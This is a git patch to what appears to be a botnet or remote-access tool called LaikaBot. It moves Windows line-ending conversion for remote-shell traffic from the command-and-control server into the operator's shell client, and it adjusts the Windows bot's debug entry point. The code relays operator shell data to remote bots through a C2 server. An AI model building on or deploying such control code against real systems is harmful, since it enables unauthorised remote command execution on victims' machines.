From b00ac16cb300c1748931aab727aec0723767cd0f Mon Sep 17 00:00:00 2001 From: CPunch Date: Fri, 3 Jun 2022 20:55:14 -0500 Subject: [PATCH] Shell/CNC: Moved line endings conversion from cnc to shell - Also fixed DEBUG output for windows LaikaBot builds --- bot/src/main.c | 4 +++ cnc/src/cpanel.c | 59 ++++----------------------------------------- shell/src/sclient.c | 23 +++++++++++++++--- 3 files changed, 29 insertions(+), 57 deletions(-) diff --git a/bot/src/main.c b/bot/src/main.c index 05cf79c..9bcc23d 100644 --- a/bot/src/main.c +++ b/bot/src/main.c @@ -9,7 +9,11 @@ #include "persist.h" #ifdef _WIN32 +# ifndef DEBUG int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) { +# else + int main() { +# endif #else int main() { #endif diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c index 31cbb24..7b0b906 100644 --- a/cnc/src/cpanel.c +++ b/cnc/src/cpanel.c @@ -106,13 +106,6 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT laikaC_closeShell(shell); } -/* improves readability */ -#define SENDSHELLDATA(peer, data, size, id) \ - laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); \ - laikaS_writeInt(&peer->sock, id, sizeof(uint32_t)); \ - laikaS_write(&peer->sock, data, size); \ - laikaS_endVarPacket(peer); - void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH]; struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; @@ -136,51 +129,9 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_ /* read data */ laikaS_read(&authPeer->sock, data, sz); - /* forward data to peer */ - if (authPeer->osType == peer->osType) { - if (sz + sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH) { - /* we need to split the buffer since the packet for c2c->bot includes an id (since a bot can host multiple shells, - while the auth/shell client only keeps track of 1) - */ - - /* first part */ - SENDSHELLDATA(peer, data, sz-sizeof(uint32_t), &shell->botShellID); - - /* second part */ - SENDSHELLDATA(peer, data + (sz-sizeof(uint32_t)), sizeof(uint32_t), &shell->botShellID); - } else { - SENDSHELLDATA(peer, data, sz, &shell->botShellID); - } - } else if (authPeer->osType == OS_LIN && peer->osType == OS_WIN) { /* convert data if its linux -> windows */ - uint8_t *buf = laikaM_malloc(sz); - int i, count = 0, cap = sz; - - /* convert line endings */ - for (i = 0; i < sz; i++) { - laikaM_growarray(uint8_t, buf, 2, count, cap); - - switch (data[i]) { - case '\n': - buf[count++] = '\r'; - buf[count++] = '\n'; - break; - default: - buf[count++] = data[i]; - } - } - - /* send buffer (99% of the time this isn't necessary, but the 1% can make - buffers > LAIKA_SHELL_DATA_MAX_LENGTH. so we send it in chunks) */ - i = count; - while (i+sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH) { - SENDSHELLDATA(peer, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &shell->botShellID); - i -= LAIKA_SHELL_DATA_MAX_LENGTH; - } - - /* send the leftovers */ - SENDSHELLDATA(peer, buf + (count - i), i, &shell->botShellID); - laikaM_free(buf); - } + /* forward to peer */ + laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); + laikaS_writeInt(&peer->sock, &shell->botShellID, sizeof(uint32_t)); + laikaS_write(&peer->sock, data, sz); + laikaS_endVarPacket(peer); } - -#undef SENDSHELLDATA \ No newline at end of file diff --git a/shell/src/sclient.c b/shell/src/sclient.c index 9222b3e..11e461e 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -388,13 +388,30 @@ void shellC_closeShell(tShell_client *client) { } void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) { - uint32_t id = 0; /* we will *ALWAYS* only have one shell open */ + uint32_t i, id = 0; /* we will *ALWAYS* only have one shell open */ + struct sLaika_socket *sock = &client->peer->sock; /* check if we have a shell open */ if (!shellC_isShellOpen(client)) return; laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA); - laikaS_writeInt(&client->peer->sock, &id, sizeof(uint32_t)); - laikaS_write(&client->peer->sock, data, sz); + laikaS_writeInt(sock, &id, sizeof(uint32_t)); + switch (client->openShell->osType) { + case LAIKA_OSTYPE: /* if we're the same as the target OS, line endings don't need to be converted! */ + laikaS_write(sock, data, sz); + break; + default: + /* line endings have to be converted (ALWAYS LINUX->WIN for now) */ + for (i = 0; i < sz; i++) { + if (data[i] == '\n') { + /* convert to windows line endings */ + laikaS_writeByte(sock, '\r'); + laikaS_writeByte(sock, '\n'); + } else { + laikaS_writeByte(sock, data[i]); + } + } + break; + } laikaS_endVarPacket(client->peer); }